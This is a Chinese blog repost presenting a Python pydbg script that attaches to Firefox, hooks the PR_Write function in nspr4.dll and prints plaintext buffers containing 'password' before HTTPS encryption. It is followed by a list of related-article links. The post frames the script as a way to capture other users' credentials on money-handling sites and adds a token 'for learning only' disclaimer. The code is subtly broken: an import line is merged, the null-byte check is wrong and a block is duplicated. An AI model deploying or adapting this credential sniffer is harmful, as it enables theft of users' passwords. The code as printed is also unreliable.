python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python 2.7.x 和 3.x 版本的重要区别小结
Nov 28 Python
Python中文件操作简明介绍
Apr 13 Python
python开发之文件操作用法实例
Nov 13 Python
Python探索之自定义实现线程池
Oct 27 Python
django admin添加数据自动记录user到表中的实现方法
Jan 05 Python
python方向键控制上下左右代码
Jan 20 Python
python 常用的基础函数
Jul 10 Python
Python closure闭包解释及其注意点详解
Aug 28 Python
Python中zip()函数的简单用法举例
Sep 02 Python
python socket通信编程实现文件上传代码实例
Dec 14 Python
python词云库wordCloud使用方法详解(解决中文乱码)
Feb 17 Python
python 基于opencv 绘制图像轮廓
Dec 11 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
PHP使用http_build_query()构造URL字符串的方法
2016/04/02 PHP
PHP观察者模式实例分析【对比JS观察者模式】
2019/05/22 PHP
js获取url中的参数且参数为中文时通过js解码
2014/03/19 Javascript
jquery delay()介绍及使用指南
2014/09/02 Javascript
高性能JavaScript循环语句和条件语句
2016/01/20 Javascript
Bootstrap+jfinal退出系统弹出确认框的实现方法
2016/05/30 Javascript
JS模拟bootstrap下拉菜单效果实例
2016/06/17 Javascript
nodejs入门教程五:连接数据库的方法分析
2017/04/24 NodeJs
设置cookie指定时间失效(实例代码)
2017/05/28 Javascript
vue使用keep-alive实现数据缓存不刷新
2017/10/21 Javascript
用JS实现根据当前时间随机生成流水号或者订单号
2018/05/31 Javascript
在axios中使用params传参的时候传入数组的方法
2018/09/25 Javascript
在vue-cli的组件模板里使用font-awesome的两种方法
2018/09/28 Javascript
axios如何利用promise无痛刷新token的实现方法
2019/08/27 Javascript
关于vue 结合原生js 解决echarts resize问题
2020/07/26 Javascript
[01:13:18]Secret vs Infamous 2019国际邀请赛淘汰赛 败者组 BO3 第一场 8.23
2019/09/05 DOTA
Python算法之求n个节点不同二叉树个数
2017/10/27 Python
python决策树之CART分类回归树详解
2017/12/20 Python
python logging日志模块以及多进程日志详解
2018/04/18 Python
python正则表达式之对号入座篇
2018/07/24 Python
谈谈Python:为什么类中的私有属性可以在外部赋值并访问
2020/03/05 Python
简单了解python列表和元组的区别
2020/05/14 Python
日本7net购物网:书籍、漫画、杂志、DVD、游戏邮购
2017/02/17 全球购物
英国排名第一的礼品体验公司:Red Letter Days
2018/08/16 全球购物
Nisbets法国:英国最大的厨房和餐饮设备供应商
2019/03/18 全球购物
Shopbop中文官网:美国亚马逊旗下时尚购物网站
2020/12/15 全球购物
new修饰符是起什么作用
2015/06/28 面试题
小学生检讨书大全
2014/02/06 职场文书
小组名称和口号
2014/06/09 职场文书
学生安全责任书范本
2014/07/24 职场文书
终止劳动合同证明书样本
2014/11/19 职场文书
幼儿园教师安全责任书
2015/05/08 职场文书
新学期开学标语2015
2015/07/16 职场文书
小组口号霸气押韵
2015/12/24 职场文书
2016入党积极分子党课培训心得体会
2016/01/06 职场文书
Java8中Stream的一些神操作
2021/11/02 Java/Android